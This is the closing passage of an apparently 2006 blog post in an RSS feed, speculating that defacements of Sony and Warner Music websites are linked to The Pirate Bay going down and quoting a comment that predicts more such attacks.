<p>Could this be a result of ThePirateBay going down recently? Could it be a coincidence, I think not.  It makes me wonder what will happen in the next few weeks because I suspect there will be a waive of these type of defacements.</p>
<p>One comment states,</p>
<p>&#8220;Just wait for the defacements tomorrow is all I can say.. (PRQ/TPB aren&#8217;t to be taken lightly when it comes to defacement support..)&#8221;</p>
<p>Which does indicate we should expect to see more of this in the coming days.</p>
<p>I wonder how both Sony and Warner Music will respond to these attacks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.scottmcintyre.net/2006/06/02/sony-and-warner-music-defaced/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
